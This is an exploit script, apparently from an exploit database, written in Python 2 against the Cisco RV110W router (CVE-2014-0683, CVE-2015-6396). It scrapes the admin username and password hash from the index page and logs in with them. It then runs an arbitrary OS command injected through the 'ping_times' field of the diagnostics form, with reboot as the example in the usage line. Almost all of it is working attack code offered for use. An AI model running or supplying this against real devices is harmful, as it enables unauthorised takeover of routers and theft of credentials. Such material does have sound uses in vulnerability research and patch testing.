[EXP]Cisco RV110W - Password Disclosure / Command Execution

#!/usr/bin/env python2

#####

## Cisco RV110W Password Disclosure and OS Command Execute.

### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)

# Exploit Title: Cisco RV110W Password Disclosure and OS Command Execute

# Date: 2018-08

# Exploit Author: RySh

# Vendor Homepage: https://www.cisco.com/

# Version: 1.1.0.9

# Tested on: RV110W 1.1.0.9

# CVE : CVE-2014-0683, CVE-2015-6396

import os

import sys

import re

import urllib

import urllib2

import getopt

import json

import ssl

ssl._create_default_https_context = ssl._create_unverified_context

###

# Usage: ./{script_name} 192.168.1.1 443 "reboot"

###

if __name__ == "__main__":

    IP = argv[1]

    PORT = argv[2]

    CMD = argv[3]

    # Get session key, Just access index page.

    url = 'https://' + IP + ':' + PORT + '/'

    req = urllib2.Request(url)

    result = urllib2.urlopen(req)

    res = result.read()

    # parse 'admin_pwd'! -- Get credits

    admin_user = re.search(r'.*(.*admin_name=\")(.*)\"', res).group().split("\"")[1]

    admin_pwd = re.search(r'.*(.*admin_pwd=\")(.{32})', res).group()[-32:]

    print "Get Cred. Username = " + admin_user + ", PassHash = " + admin_pwd

    # Get session_id by POST

    req2 = urllib2.Request(url + "login.cgi")

    req2.add_header('Origin', url)

    req2.add_header('Upgrade-Insecure-Requests', 1)

    req2.add_header('Content-Type', 'application/x-www-form-urlencoded')

    req2.add_header('User-Agent',

                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')

    req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')

    req2.add_header('Referer', url)

    req2.add_header('Accept-Encoding', 'gzip, deflate')

    req2.add_header('Accept-Language', 'en-US,en;q=0.9')

    req2.add_header('Cookie', 'SessionID=')

    data = {"submit_button": "login",

            "submit_type": "",

            "gui_action": "",

            "wait_time": "",

            "change_action": "",

            "enc": "",

            "user": admin_user,

            "pwd": admin_pwd,

            "sel_lang": "EN"

            }

    r = urllib2.urlopen(req2, urllib.urlencode(data))

    resp = r.read()

    login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]

    session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]

    # Execute your commands via diagnose command parameter, default command is `reboot`

    req3 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)

    req3.add_header('Origin', url)

    req3.add_header('Upgrade-Insecure-Requests', 1)

    req3.add_header('Content-Type', 'application/x-www-form-urlencoded')

    req3.add_header('User-Agent',

                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')

    req3.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')

    req3.add_header('Referer', url)

    req3.add_header('Accept-Encoding', 'gzip, deflate')

    req3.add_header('Accept-Language', 'en-US,en;q=0.9')

    req3.add_header('Cookie', 'SessionID=')

    data_cmd = {"submit_button": "Diagnostics",

            "change_action": "gozila_cgi",

            "submit_type": "start_ping",

            "gui_action": "",

            "traceroute_ip": "",

            "commit": "",

            "ping_times": "3 |" + CMD + "|",

            "ping_size": "",

            "wait_time": "",

            "ping_ip": "127.0.0.1",

            "lookup_name": ""

            }

    r = urllib2.urlopen(req3, urllib.urlencode(data_cmd))